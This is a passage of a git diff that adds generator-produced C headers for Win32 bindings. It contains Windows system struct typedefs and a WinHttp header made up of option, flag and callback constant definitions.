PeakWorkingSetSize; + unsigned long long WorkingSetSize; + void* Reserved5; + unsigned long long QuotaPagedPoolUsage; + void* Reserved6; + unsigned long long QuotaNonPagedPoolUsage; + unsigned long long PagefileUsage; + unsigned long long PeakPagefileUsage; + unsigned long long PrivatePageCount; + long long Reserved7[6]; +} SYSTEM_PROCESS_INFORMATION; + +typedef struct _PUBLIC_OBJECT_TYPE_INFORMATION { + void* TypeName; + unsigned int Reserved[22]; +} PUBLIC_OBJECT_TYPE_INFORMATION; + +typedef struct _SYSTEM_BASIC_INFORMATION { + unsigned char Reserved1[24]; + void* Reserved2[4]; + signed char NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION; + +typedef struct _JIT_DEBUG_INFO { + unsigned int dwSize; + unsigned int dwProcessorArchitecture; + unsigned int dwThreadID; + unsigned int dwReserved0; + unsigned long long lpExceptionAddress; + unsigned long long lpExceptionRecord; + unsigned long long lpContextRecord; +} JIT_DEBUG_INFO; + +typedef struct _PERUSERSECTIONW { + unsigned short szGUID[59]; + unsigned short szDispName[128]; + unsigned short szLocale[10]; + unsigned short szStub[1040]; + unsigned short szVersion[32]; + unsigned short szCompID[128]; + unsigned int dwIsInstalled; + BOOL bRollback; +} PERUSERSECTIONW; + +typedef struct _SYSTEM_THREAD_INFORMATION { + long long Reserved1[3]; + unsigned int Reserved2; + void* StartAddress; + void* ClientId; + int Priority; + int BasePriority; + unsigned int Reserved3; + unsigned int ThreadState; + unsigned int WaitReason; +} SYSTEM_THREAD_INFORMATION; + +typedef struct _DCIOVERLAY { + void* dciInfo; + unsigned int dwChromakeyValue; + unsigned int dwChromakeyMask; +} DCIOVERLAY; + +typedef struct _DCIENUMINPUT { + void* cmd; + void* rSrc; + void* rDst; + long long EnumCallback; + void* lpContext; +} DCIENUMINPUT; + +typedef struct _CUSTOM_SYSTEM_EVENT_TRIGGER_CONFIG { + unsigned int Size; + void* TriggerId; +} CUSTOM_SYSTEM_EVENT_TRIGGER_CONFIG; + +typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { + unsigned int RegistryQuotaAllowed; + unsigned int RegistryQuotaUsed; + void* Reserved1; +} SYSTEM_REGISTRY_QUOTA_INFORMATION; + +typedef struct _THREAD_NAME_INFORMATION { + void* ThreadName; +} THREAD_NAME_INFORMATION; + +typedef struct _IMEPROA { + void* hWnd; + void* InstDate; + unsigned int wVersion; + unsigned char szDescription[50]; + unsigned char szName[80]; + unsigned char szOptions[30]; +} IMEPROA; + +// SKIPPED struct EditionUpgradeBroker: no representable fields +typedef struct _STRTABLEW { + unsigned int cEntries; + void* pse; +} STRTABLEW; + +typedef struct _HW_PROFILE_INFOA { + unsigned int dwDockInfo; + unsigned char szHwProfileGuid[39]; + unsigned char szHwProfileName[80]; +} HW_PROFILE_INFOA; + +typedef struct _PUBLIC_OBJECT_BASIC_INFORMATION { + unsigned int Attributes; + unsigned int GrantedAccess; + unsigned int HandleCount; + unsigned int PointerCount; + unsigned int Reserved[10]; +} PUBLIC_OBJECT_BASIC_INFORMATION; + +typedef struct _JAVA_TRUST { + unsigned int cbSize; + unsigned int flag; + BOOL fAllActiveXPermissions; + BOOL fAllPermissions; + unsigned int dwEncodingType; + void* pbJavaPermissions; + unsigned int cbJavaPermissions; + void* pbSigner; + unsigned int cbSigner; + void* pwszZone; + void* guidZone; + int hVerify; +} JAVA_TRUST; + +typedef struct _IMAGE_DELAYLOAD_DESCRIPTOR { + void* Attributes; + unsigned int DllNameRVA; + unsigned int ModuleHandleRVA; + unsigned int ImportAddressTableRVA; + unsigned int ImportNameTableRVA; + unsigned int BoundImportAddressTableRVA; + unsigned int UnloadInformationTableRVA; + unsigned int TimeDateStamp; +} IMAGE_DELAYLOAD_DESCRIPTOR; + +typedef struct _ACTCTX_SECTION_KEYED_DATA_ASSEMBLY_METADATA { + void* lpInformation; + void* lpSectionBase; + unsigned int ulSectionLength; + void* lpSectionGlobalDataBase; + unsigned int ulSectionGlobalDataLength; +} ACTCTX_SECTION_KEYED_DATA_ASSEMBLY_METADATA; + +typedef struct _SYSTEM_POLICY_INFORMATION { + void* Reserved1[2]; + unsigned int Reserved2[3]; +} SYSTEM_POLICY_INFORMATION; + +typedef struct _WINSTATIONINFORMATIONW { + unsigned char Reserved2[70]; + unsigned int LogonId; + unsigned char Reserved3[1140]; +} WINSTATIONINFORMATIONW; + +typedef struct _TDI_TL_IO_CONTROL_ENDPOINT { + void* Type; + unsigned int Level; + void* Anonymous; + void* InputBuffer; + unsigned int InputBufferLength; + void* OutputBuffer; + unsigned int OutputBufferLength; +} TDI_TL_IO_CONTROL_ENDPOINT; + +typedef struct _UNDETERMINESTRUCT { + unsigned int dwSize; + unsigned int uDefIMESize; + unsigned int uDefIMEPos; + unsigned int uUndetTextLen; + unsigned int uUndetTextPos; + unsigned int uUndetAttrPos; + unsigned int uCursorPos; + unsigned int uDeltaStart; + unsigned int uDetermineTextLen; + unsigned int uDetermineTextPos; + unsigned int uDetermineDelimPos; + unsigned int uYomiTextLen; + unsigned int uYomiTextPos; + unsigned int uYomiDelimPos; +} UNDETERMINESTRUCT; + +typedef struct _SYSTEM_PERFORMANCE_INFORMATION { + unsigned char Reserved1[312]; +} SYSTEM_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { + unsigned char Reserved1[48]; +} SYSTEM_TIMEOFDAY_INFORMATION; + +typedef struct _SYSTEM_EXCEPTION_INFORMATION { + unsigned char Reserved1[16]; +} SYSTEM_EXCEPTION_INFORMATION; + +typedef struct _CABINFOA { + void* pszCab; + void* pszInf; + void* pszSection; + unsigned char szSrcPath[260]; + unsigned int dwFlags; +} CABINFOA; + +typedef struct _STRENTRYA { + void* pszName; + void* pszValue; +} STRENTRYA; + +typedef struct _FEATURE_STATE_CHANGE_SUBSCRIPTION { + void* Value; +} FEATURE_STATE_CHANGE_SUBSCRIPTION; + +typedef struct _TCP_REQUEST_SET_INFORMATION_EX { + void* ID; + unsigned int BufferSize; + unsigned char Buffer[1]; +} TCP_REQUEST_SET_INFORMATION_EX; + +typedef struct _DATETIME { + unsigned short year; + unsigned short month; + unsigned short day; + unsigned short hour; + unsigned short min; + unsigned short sec; +} DATETIME; + +typedef struct _FEATURE_ERROR { + int hr; + unsigned short lineNumber; + void* file; + void* process; + void* module; + unsigned int callerReturnAddressOffset; + void* callerModule; + void* message; + unsigned short originLineNumber; + void* originFile; + void* originModule; + unsigned int originCallerReturnAddressOffset; + void* originCallerModule; + void* originName; +} FEATURE_ERROR; + +typedef struct _HWINWATCH { + void* Value; +} HWINWATCH; + +typedef struct _DCIOFFSCREEN { + void* dciInfo; + long long Draw; + long long SetClipList; + long long SetDestination; +} DCIOFFSCREEN; + +typedef struct _DCISURFACEINFO { + unsigned int dwSize; + unsigned int dwDCICaps; + unsigned int dwCompression; + unsigned int dwMask[3]; + unsigned int dwWidth; + unsigned int dwHeight; + int lStride; + unsigned int dwBitCount; + unsigned long long dwOffSurface; + unsigned short wSelSurface; + unsigned short wReserved; + unsigned int dwReserved1; + unsigned int dwReserved2; + unsigned int dwReserved3; + long long BeginAccess; + long long EndAccess; + long long DestroySurface; +} DCISURFACEINFO; + +typedef struct _IMESTRUCT { + unsigned int fnc; + void* wParam; + unsigned int wCount; + unsigned int dchSource; + unsigned int dchDest; + void* lParam1; + void* lParam2; + void* lParam3; +} IMESTRUCT; + diff --git a/stdlib/win32/winhttp.h b/stdlib/win32/winhttp.h new file mode 100644 index 0000000..5df5923 --- /dev/null +++ b/stdlib/win32/winhttp.h @@ -0,0 +1,1046 @@ +// Generated by entc-win32gen from `Windows.Win32.Networking.WinHttp`. +// Do not edit by hand. Re-run the generator to refresh. + +typedef unsigned char BYTE; +typedef unsigned short WORD; +typedef unsigned long DWORD; +typedef unsigned long long ULONGLONG; +typedef long LONG; +typedef unsigned long ULONG; +typedef int BOOL; +typedef void* PVOID; +typedef void* HANDLE; + +#define HTTPREQUEST_PROXYSETTING_DEFAULT 0x0 +#define HTTPREQUEST_PROXYSETTING_PRECONFIG 0x0 +#define HTTPREQUEST_PROXYSETTING_DIRECT 0x1 +#define HTTPREQUEST_PROXYSETTING_PROXY 0x2 +#define HTTPREQUEST_SETCREDENTIALS_FOR_SERVER 0x0 +#define HTTPREQUEST_SETCREDENTIALS_FOR_PROXY 0x1 +#define INTERNET_DEFAULT_PORT 0x0 +#define INTERNET_DEFAULT_HTTP_PORT 0x50 +#define INTERNET_DEFAULT_HTTPS_PORT 0x1bb +#define WINHTTP_FLAG_ASYNC 0x10000000 +#define WINHTTP_FLAG_SECURE_DEFAULTS 0x30000000 +#define WINHTTP_FLAG_AUTOMATIC_CHUNKING 0x200 +#define SECURITY_FLAG_IGNORE_UNKNOWN_CA 0x100 +#define SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE 0x200 +#define SECURITY_FLAG_IGNORE_CERT_CN_INVALID 0x1000 +#define SECURITY_FLAG_IGNORE_CERT_DATE_INVALID 0x2000 +#define WINHTTP_AUTOPROXY_AUTO_DETECT 0x1 +#define WINHTTP_AUTOPROXY_CONFIG_URL 0x2 +#define WINHTTP_AUTOPROXY_HOST_KEEPCASE 0x4 +#define WINHTTP_AUTOPROXY_HOST_LOWERCASE 0x8 +#define WINHTTP_AUTOPROXY_ALLOW_AUTOCONFIG 0x100 +#define WINHTTP_AUTOPROXY_ALLOW_STATIC 0x200 +#define WINHTTP_AUTOPROXY_ALLOW_CM 0x400 +#define WINHTTP_AUTOPROXY_USE_INTERFACE_CONFIG 0x800 +#define WINHTTP_AUTOPROXY_RUN_INPROCESS 0x10000 +#define WINHTTP_AUTOPROXY_RUN_OUTPROCESS_ONLY 0x20000 +#define WINHTTP_AUTOPROXY_NO_DIRECTACCESS 0x40000 +#define WINHTTP_AUTOPROXY_NO_CACHE_CLIENT 0x80000 +#define WINHTTP_AUTOPROXY_NO_CACHE_SVC 0x100000 +#define WINHTTP_AUTOPROXY_SORT_RESULTS 0x400000 +#define WINHTTP_AUTO_DETECT_TYPE_DHCP 0x1 +#define WINHTTP_AUTO_DETECT_TYPE_DNS_A 0x2 +#define NETWORKING_KEY_BUFSIZE 0x80 +#define WINHTTP_PROXY_TYPE_DIRECT 0x1 +#define WINHTTP_PROXY_TYPE_PROXY 0x2 +#define WINHTTP_PROXY_TYPE_AUTO_PROXY_URL 0x4 +#define WINHTTP_PROXY_TYPE_AUTO_DETECT 0x8 +#define WINHTTP_REQUEST_STAT_FLAG_TCP_FAST_OPEN 0x1 +#define WINHTTP_REQUEST_STAT_FLAG_TLS_SESSION_RESUMPTION 0x2 +#define WINHTTP_REQUEST_STAT_FLAG_TLS_FALSE_START 0x4 +#define WINHTTP_REQUEST_STAT_FLAG_PROXY_TLS_SESSION_RESUMPTION 0x8 +#define WINHTTP_REQUEST_STAT_FLAG_PROXY_TLS_FALSE_START 0x10 +#define WINHTTP_REQUEST_STAT_FLAG_FIRST_REQUEST 0x20 +#define WINHTTP_MATCH_CONNECTION_GUID_FLAG_REQUIRE_MARKED_CONNECTION 0x1 +#define WINHTTP_MATCH_CONNECTION_GUID_FLAGS_MASK 0x1 +#define WINHTTP_RESOLVER_CACHE_CONFIG_FLAG_SOFT_LIMIT 0x1 +#define WINHTTP_RESOLVER_CACHE_CONFIG_FLAG_BYPASS_CACHE 0x2 +#define WINHTTP_RESOLVER_CACHE_CONFIG_FLAG_USE_DNS_TTL 0x4 +#define WINHTTP_RESOLVER_CACHE_CONFIG_FLAG_CONN_USE_TTL 0x8 +#define WINHTTP_TIME_FORMAT_BUFSIZE 0x3e +#define WINHTTP_OPTION_CALLBACK 0x1 +#define WINHTTP_OPTION_RESOLVE_TIMEOUT 0x2 +#define WINHTTP_OPTION_CONNECT_TIMEOUT 0x3 +#define WINHTTP_OPTION_CONNECT_RETRIES 0x4 +#define WINHTTP_OPTION_SEND_TIMEOUT 0x5 +#define WINHTTP_OPTION_RECEIVE_TIMEOUT 0x6 +#define WINHTTP_OPTION_RECEIVE_RESPONSE_TIMEOUT 0x7 +#define WINHTTP_OPTION_HANDLE_TYPE 0x9 +#define WINHTTP_OPTION_READ_BUFFER_SIZE 0xc +#define WINHTTP_OPTION_WRITE_BUFFER_SIZE 0xd +#define WINHTTP_OPTION_PARENT_HANDLE 0x15 +#define WINHTTP_OPTION_EXTENDED_ERROR 0x18 +#define WINHTTP_OPTION_SECURITY_FLAGS 0x1f +#define WINHTTP_OPTION_SECURITY_CERTIFICATE_STRUCT 0x20 +#define WINHTTP_OPTION_URL 0x22 +#define WINHTTP_OPTION_SECURITY_KEY_BITNESS 0x24 +#define WINHTTP_OPTION_PROXY 0x26 +#define WINHTTP_OPTION_PROXY_RESULT_ENTRY 0x27 +#define WINHTTP_OPTION_USER_AGENT 0x29 +#define WINHTTP_OPTION_CONTEXT_VALUE 0x2d +#define WINHTTP_OPTION_CLIENT_CERT_CONTEXT 0x2f +#define WINHTTP_OPTION_REQUEST_PRIORITY 0x3a +#define WINHTTP_OPTION_HTTP_VERSION 0x3b +#define WINHTTP_OPTION_DISABLE_FEATURE 0x3f +#define WINHTTP_OPTION_CODEPAGE 0x44 +#define WINHTTP_OPTION_MAX_CONNS_PER_SERVER 0x49 +#define WINHTTP_OPTION_MAX_CONNS_PER_1_0_SERVER 0x4a +#define WINHTTP_OPTION_AUTOLOGON_POLICY 0x4d +#define WINHTTP_OPTION_SERVER_CERT_CONTEXT 0x4e +#define WINHTTP_OPTION_ENABLE_FEATURE 0x4f +#define WINHTTP_OPTION_WORKER_THREAD_COUNT 0x50 +#define WINHTTP_OPTION_PASSPORT_COBRANDING_TEXT 0x51 +#define WINHTTP_OPTION_PASSPORT_COBRANDING_URL 0x52 +#define WINHTTP_OPTION_CONFIGURE_PASSPORT_AUTH 0x53 +#define WINHTTP_OPTION_SECURE_PROTOCOLS 0x54 +#define WINHTTP_OPTION_ENABLETRACING 0x55 +#define WINHTTP_OPTION_PASSPORT_SIGN_OUT 0x56 +#define WINHTTP_OPTION_PASSPORT_RETURN_URL 0x57 +#define WINHTTP_OPTION_REDIRECT_POLICY 0x58 +#define WINHTTP_OPTION_MAX_HTTP_AUTOMATIC_REDIRECTS 0x59 +#define WINHTTP_OPTION_MAX_HTTP_STATUS_CONTINUE 0x5a +#define WINHTTP_OPTION_MAX_RESPONSE_HEADER_SIZE 0x5b +#define WINHTTP_OPTION_MAX_RESPONSE_DRAIN_SIZE 0x5c +#define WINHTTP_OPTION_CONNECTION_INFO 0x5d +#define WINHTTP_OPTION_CLIENT_CERT_ISSUER_LIST 0x5e +#define WINHTTP_OPTION_SPN 0x60 +#define WINHTTP_OPTION_GLOBAL_PROXY_CREDS 0x61 +#define WINHTTP_OPTION_GLOBAL_SERVER_CREDS 0x62 +#define WINHTTP_OPTION_UNLOAD_NOTIFY_EVENT 0x63 +#define WINHTTP_OPTION_REJECT_USERPWD_IN_URL 0x64 +#define WINHTTP_OPTION_USE_GLOBAL_SERVER_CREDENTIALS 0x65 +#define WINHTTP_OPTION_RECEIVE_PROXY_CONNECT_RESPONSE 0x67 +#define WINHTTP_OPTION_IS_PROXY_CONNECT_RESPONSE 0x68 +#define WINHTTP_OPTION_NETWORK_INTERFACE_AFFINITY 0x69 +#define WINHTTP_OPTION_SERVER_SPN_USED 0x6a +#define WINHTTP_OPTION_PROXY_SPN_USED 0x6b +#define WINHTTP_OPTION_SERVER_CBT 0x6c +#define WINHTTP_OPTION_UNSAFE_HEADER_PARSING 0x6e +#define WINHTTP_OPTION_ASSURED_NON_BLOCKING_CALLBACKS 0x6f +#define WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET 0x72 +#define WINHTTP_OPTION_WEB_SOCKET_CLOSE_TIMEOUT 0x73 +#define WINHTTP_OPTION_WEB_SOCKET_KEEPALIVE_INTERVAL 0x74 +#define WINHTTP_OPTION_DECOMPRESSION 0x76 +#define WINHTTP_OPTION_WEB_SOCKET_RECEIVE_BUFFER_SIZE 0x7a +#define WINHTTP_OPTION_WEB_SOCKET_SEND_BUFFER_SIZE 0x7b +#define WINHTTP_OPTION_TCP_PRIORITY_HINT 0x80 +#define WINHTTP_OPTION_CONNECTION_FILTER 0x83 +#define WINHTTP_OPTION_ENABLE_HTTP_PROTOCOL 0x85 +#define WINHTTP_OPTION_HTTP_PROTOCOL_USED 0x86 +#define WINHTTP_OPTION_KDC_PROXY_SETTINGS 0x88 +#define WINHTTP_OPTION_PROXY_DISABLE_SERVICE_CALLS 0x89 +#define WINHTTP_OPTION_ENCODE_EXTRA 0x8a +#define WINHTTP_OPTION_DISABLE_STREAM_QUEUE 0x8b +#define WINHTTP_OPTION_IPV6_FAST_FALLBACK 0x8c +#define WINHTTP_OPTION_CONNECTION_STATS_V0 0x8d +#define WINHTTP_OPTION_REQUEST_TIMES 0x8e +#define WINHTTP_OPTION_EXPIRE_CONNECTION 0x8f +#define WINHTTP_OPTION_DISABLE_SECURE_PROTOCOL_FALLBACK 0x90 +#define WINHTTP_OPTION_HTTP_PROTOCOL_REQUIRED 0x91 +#define WINHTTP_OPTION_REQUEST_STATS 0x92 +#define WINHTTP_OPTION_SERVER_CERT_CHAIN_CONTEXT 0x93 +#define WINHTTP_OPTION_SERVER_CERT_CHAIN_BUILD_FLAGS 0x94 +#define WINHTTP_OPTION_CONNECTION_STATS_V1 0x96 +#define WINHTTP_OPTION_SECURITY_INFO 0x97 +#define WINHTTP_OPTION_TCP_KEEPALIVE 0x98 +#define WINHTTP_OPTION_TCP_FAST_OPEN 0x99 +#define WINHTTP_OPTION_TLS_FALSE_START 0x9a +#define WINHTTP_OPTION_IGNORE_CERT_REVOCATION_OFFLINE 0x9b +#define WINHTTP_OPTION_TLS_PROTOCOL_INSECURE_FALLBACK 0x9e +#define WINHTTP_OPTION_STREAM_ERROR_CODE 0x9f +#define WINHTTP_OPTION_REQUIRE_STREAM_END 0xa0 +#define WINHTTP_OPTION_ENABLE_HTTP2_PLUS_CLIENT_CERT 0xa1 +#define WINHTTP_OPTION_FAILED_CONNECTION_RETRIES 0xa2 +#define WINHTTP_OPTION_HTTP2_KEEPALIVE 0xa4 +#define WINHTTP_OPTION_RESOLUTION_HOSTNAME 0xa5 +#define WINHTTP_OPTION_SET_TOKEN_BINDING 0xa6 +#define WINHTTP_OPTION_TOKEN_BINDING_PUBLIC_KEY 0xa7 +#define WINHTTP_OPTION_REFERER_TOKEN_BINDING_HOSTNAME 0xa8 +#define WINHTTP_OPTION_HTTP2_PLUS_TRANSFER_ENCODING 0xa9 +#define WINHTTP_OPTION_RESOLVER_CACHE_CONFIG 0xaa +#define WINHTTP_OPTION_DISABLE_CERT_CHAIN_BUILDING 0xab +#define WINHTTP_OPTION_BACKGROUND_CONNECTIONS 0xac +#define WINHTTP_OPTION_FIRST_AVAILABLE_CONNECTION 0xad +#define WINHTTP_OPTION_TCP_PRIORITY_STATUS 0xb1 +#define WINHTTP_OPTION_CONNECTION_GUID 0xb2 +#define WINHTTP_OPTION_MATCH_CONNECTION_GUID 0xb3 +#define WINHTTP_OPTION_HTTP2_RECEIVE_WINDOW 0xb7 +#define WINHTTP_OPTION_FEATURE_SUPPORTED 0xb8 +#define WINHTTP_OPTION_QUIC_STATS 0xb9 +#define WINHTTP_OPTION_HTTP3_KEEPALIVE 0xbc +#define WINHTTP_OPTION_HTTP3_HANDSHAKE_TIMEOUT 0xbd +#define WINHTTP_OPTION_HTTP3_INITIAL_RTT 0xbe +#define WINHTTP_OPTION_HTTP3_STREAM_ERROR_CODE 0xbf +#define WINHTTP_OPTION_REQUEST_ANNOTATION 0xc0 +#define WINHTTP_OPTION_DISABLE_PROXY_AUTH_SCHEMES 0xc1 +#define WINHTTP_OPTION_REVERT_IMPERSONATION_SERVER_CERT 0xc2 +#define WINHTTP_OPTION_DISABLE_GLOBAL_POOLING 0xc3 +#define WINHTTP_OPTION_USE_SESSION_SCH_CRED 0xc4 +#define WINHTTP_OPTION_SERVER_CERT_CHAIN_BUILD_CACHE_ONLY 0xc7 +#define WINHTTP_OPTION_QUIC_STATS_V2 0xc8 +#define WINHTTP_OPTION_QUIC_STREAM_STATS 0xca +#define WINHTTP_OPTION_USE_LOOKASIDE 0xcb +#define WINHTTP_OPTION_ERROR_LOG_GUID 0xcc +#define WINHTTP_OPTION_ENABLE_FAST_FORWARDING 0xcd +#define WINHTTP_OPTION_FAST_FORWARDING_RESPONSE_DATA 0xce +#define WINHTTP_OPTION_UPGRADE_TO_PROTOCOL 0xcf +#define WINHTTP_OPTION_CONNECTION_STATS_V2 0xd0 +#define WINHTTP_OPTION_FAST_FORWARDING_RESPONSE_STATUS 0xd1 +#define WINHTTP_OPTION_DSCP_TAG 0xd2 +#define WINHTTP_OPTION_HTTP11_DOWNGRADE_TTL 0xd3 +#define WINHTTP_OPTION_SESSION_ERROR_LOG_GUID 0xd4 +#define WINHTTP_LAST_OPTION 0xd4 +#define WINHTTP_OPTION_USERNAME 0x1000 +#define WINHTTP_OPTION_PASSWORD 0x1001 +#define WINHTTP_OPTION_PROXY_USERNAME 0x1002 +#define WINHTTP_OPTION_PROXY_PASSWORD 0x1003 +#define WINHTTP_CONNS_PER_SERVER_UNLIMITED 0xffffffff +#define WINHTTP_CONNECTION_RETRY_CONDITION_408 0x1 +#define WINHTTP_CONNECTION_RETRY_CONDITION_SSL_HANDSHAKE 0x2 +#define WINHTTP_CONNECTION_RETRY_CONDITION_STALE_CONNECTION 0x4 +#define WINHTTP_DECOMPRESSION_FLAG_GZIP 0x1 +#define WINHTTP_DECOMPRESSION_FLAG_DEFLATE 0x2 +#define WINHTTP_PROTOCOL_FLAG_HTTP2 0x1 +#define WINHTTP_PROTOCOL_FLAG_HTTP3 0x2 +#define WINHTTP_OPTION_REQUEST_ANNOTATION_MAX_LENGTH 0xfa00 +#define WINHTTP_AUTOLOGON_SECURITY_LEVEL_MEDIUM 0x0 +#define WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW 0x1 +#define WINHTTP_AUTOLOGON_SECURITY_LEVEL_HIGH 0x2 +#define WINHTTP_AUTOLOGON_SECURITY_LEVEL_PROXY_ONLY 0x3 +#define WINHTTP_AUTOLOGON_SECURITY_LEVEL_DEFAULT 0x0 +#define WINHTTP_AUTOLOGON_SECURITY_LEVEL_MAX 0x3 +#define WINHTTP_OPTION_REDIRECT_POLICY_NEVER 0x0 +#define WINHTTP_OPTION_REDIRECT_POLICY_DISALLOW_HTTPS_TO_HTTP 0x1 +#define WINHTTP_OPTION_REDIRECT_POLICY_ALWAYS 0x2 +#define WINHTTP_OPTION_REDIRECT_POLICY_LAST 0x2 +#define WINHTTP_OPTION_REDIRECT_POLICY_DEFAULT 0x1 +#define WINHTTP_DISABLE_PASSPORT_AUTH 0x0 +#define WINHTTP_ENABLE_PASSPORT_AUTH 0x10000000 +#define WINHTTP_DISABLE_PASSPORT_KEYRING 0x20000000 +#define WINHTTP_ENABLE_PASSPORT_KEYRING 0x40000000 +#define WINHTTP_PROXY_DISABLE_SCHEME_BASIC 0x1 +#define WINHTTP_PROXY_DISABLE_SCHEME_DIGEST 0x2 +#define WINHTTP_PROXY_DISABLE_SCHEME_NTLM 0x4 +#define WINHTTP_PROXY_DISABLE_SCHEME_KERBEROS 0x8 +#define WINHTTP_PROXY_DISABLE_SCHEME_NEGOTIATE 0x10 +#define WINHTTP_PROXY_DISABLE_AUTH_LOCAL_SERVICE 0x100 +#define WINHTTP_SERVER_CERT_CHAIN_CACHE_ONLY_URL_RETRIEVAL 0x4 +#define WINHTTP_SERVER_CERT_CHAIN_DISABLE_AIA 0x2000 +#define WINHTTP_SERVER_CERT_CHAIN_REVOCATION_CHECK_CACHE_ONLY 0x80000000 +#define WINHTTP_DISABLE_COOKIES 0x1 +#define WINHTTP_DISABLE_REDIRECTS 0x2 +#define WINHTTP_DISABLE_AUTHENTICATION 0x4 +#define WINHTTP_DISABLE_KEEP_ALIVE 0x8 +#define WINHTTP_ENABLE_SSL_REVOCATION 0x1 +#define WINHTTP_ENABLE_SSL_REVERT_IMPERSONATION 0x2 +#define WINHTTP_DISABLE_SPN_SERVER_PORT 0x0 +#define WINHTTP_ENABLE_SPN_SERVER_PORT 0x1 +#define WINHTTP_OPTION_SPN_MASK 0x1 +#define WINHTTP_HANDLE_TYPE_SESSION 0x1 +#define WINHTTP_HANDLE_TYPE_CONNECT 0x2 +#define WINHTTP_HANDLE_TYPE_REQUEST 0x3 +#define WINHTTP_HANDLE_TYPE_PROXY_RESOLVER 0x4 +#define WINHTTP_HANDLE_TYPE_WEBSOCKET 0x5 +#define WINHTTP_HANDLE_TYPE_PROTOCOL 0x6 +#define WINHTTP_AUTH_SCHEME_PASSPORT 0x4 +#define WINHTTP_AUTH_SCHEME_DIGEST 0x8 +#define WINHTTP_AUTH_TARGET_SERVER 0x0 +#define WINHTTP_AUTH_TARGET_PROXY 0x1 +#define SECURITY_FLAG_SECURE 0x1 +#define SECURITY_FLAG_STRENGTH_WEAK 0x10000000 +#define SECURITY_FLAG_STRENGTH_MEDIUM 0x40000000 +#define SECURITY_FLAG_STRENGTH_STRONG 0x20000000 +#define WINHTTP_CALLBACK_STATUS_FLAG_CERT_REV_FAILED 0x1 +#define WINHTTP_CALLBACK_STATUS_FLAG_INVALID_CERT 0x2 +#define WINHTTP_CALLBACK_STATUS_FLAG_CERT_REVOKED 0x4 +#define WINHTTP_CALLBACK_STATUS_FLAG_INVALID_CA 0x8 +#define WINHTTP_CALLBACK_STATUS_FLAG_CERT_CN_INVALID 0x10 +#define WINHTTP_CALLBACK_STATUS_FLAG_CERT_DATE_INVALID 0x20 +#define WINHTTP_CALLBACK_STATUS_FLAG_CERT_WRONG_USAGE 0x40 +#define WINHTTP_CALLBACK_STATUS_FLAG_SECURITY_CHANNEL_ERROR 0x80000000 +#define WINHTTP_FLAG_SECURE_PROTOCOL_SSL2 0x8 +#define WINHTTP_FLAG_SECURE_PROTOCOL_SSL3 0x20 +#define WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 0x80 +#define WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 0x200 +#define WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2 0x800 +#define WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_3 0x2000 +#define WINHTTP_CALLBACK_STATUS_RESOLVING_NAME 0x1 +#define WINHTTP_CALLBACK_STATUS_NAME_RESOLVED 0x2 +#define WINHTTP_CALLBACK_STATUS_CONNECTING_TO_SERVER 0x4 +#define WINHTTP_CALLBACK_STATUS_CONNECTED_TO_SERVER 0x8 +#define WINHTTP_CALLBACK_STATUS_SENDING_REQUEST 0x10 +#define WINHTTP_CALLBACK_STATUS_REQUEST_SENT 0x20 +#define WINHTTP_CALLBACK_STATUS_RECEIVING_RESPONSE 0x40 +#define WINHTTP_CALLBACK_STATUS_RESPONSE_RECEIVED 0x80 +#define WINHTTP_CALLBACK_STATUS_CLOSING_CONNECTION 0x100 +#define WINHTTP_CALLBACK_STATUS_CONNECTION_CLOSED 0x200 +#define WINHTTP_CALLBACK_STATUS_HANDLE_CREATED 0x400 +#define WINHTTP_CALLBACK_STATUS_HANDLE_CLOSING 0x800 +#define WINHTTP_CALLBACK_STATUS_DETECTING_PROXY 0x1000 +#define WINHTTP_CALLBACK_STATUS_REDIRECT 0x4000 +#define WINHTTP_CALLBACK_STATUS_INTERMEDIATE_RESPONSE 0x8000 +#define WINHTTP_CALLBACK_STATUS_SECURE_FAILURE 0x10000 +#define WINHTTP_CALLBACK_STATUS_HEADERS_AVAILABLE 0x20000 +#define WINHTTP_CALLBACK_STATUS_DATA_AVAILABLE 0x40000 +#define WINHTTP_CALLBACK_STATUS_READ_COMPLETE 0x80000 +#define WINHTTP_CALLBACK_STATUS_WRITE_COMPLETE 0x100000 +#define WINHTTP_CALLBACK_STATUS_REQUEST_ERROR 0x200000 +#define WINHTTP_CALLBACK_STATUS_SENDREQUEST_COMPLETE 0x400000 +#define WINHTTP_CALLBACK_STATUS_GETPROXYFORURL_COMPLETE 0x1000000 +#define WINHTTP_CALLBACK_STATUS_CLOSE_COMPLETE 0x2000000 +#define WINHTTP_CALLBACK_STATUS_SHUTDOWN_COMPLETE 0x4000000 +#define WINHTTP_CALLBACK_STATUS_GETPROXYSETTINGS_COMPLETE 0x8000000 +#define WINHTTP_CALLBACK_STATUS_SETTINGS_WRITE_COMPLETE 0x10000000 +#define WINHTTP_CALLBACK_STATUS_SETTINGS_READ_COMPLETE 0x20000000 +#define API_RECEIVE_RESPONSE 0x1 +#define API_QUERY_DATA_AVAILABLE 0x2 +#define API_READ_DATA 0x3 +#define API_WRITE_DATA 0x4 +#define API_SEND_REQUEST 0x5 +#define API_GET_PROXY_FOR_URL 0x6 +#define API_GET_PROXY_SETTINGS 0x7 +#define WINHTTP_CALLBACK_FLAG_DETECTING_PROXY 0x1000 +#define WINHTTP_CALLBACK_FLAG_REDIRECT 0x4000 +#define WINHTTP_CALLBACK_FLAG_INTERMEDIATE_RESPONSE 0x8000 +#define WINHTTP_CALLBACK_FLAG_SECURE_FAILURE 0x10000 +#define WINHTTP_CALLBACK_FLAG_SENDREQUEST_COMPLETE 0x400000 +#define WINHTTP_CALLBACK_FLAG_HEADERS_AVAILABLE 0x20000 +#define WINHTTP_CALLBACK_FLAG_DATA_AVAILABLE 0x40000 +#define WINHTTP_CALLBACK_FLAG_READ_COMPLETE 0x80000 +#define WINHTTP_CALLBACK_FLAG_WRITE_COMPLETE 0x100000 +#define WINHTTP_CALLBACK_FLAG_REQUEST_ERROR 0x200000 +#define WINHTTP_CALLBACK_FLAG_GETPROXYFORURL_COMPLETE 0x1000000 +#define WINHTTP_CALLBACK_FLAG_GETPROXYSETTINGS_COMPLETE 0x8000000 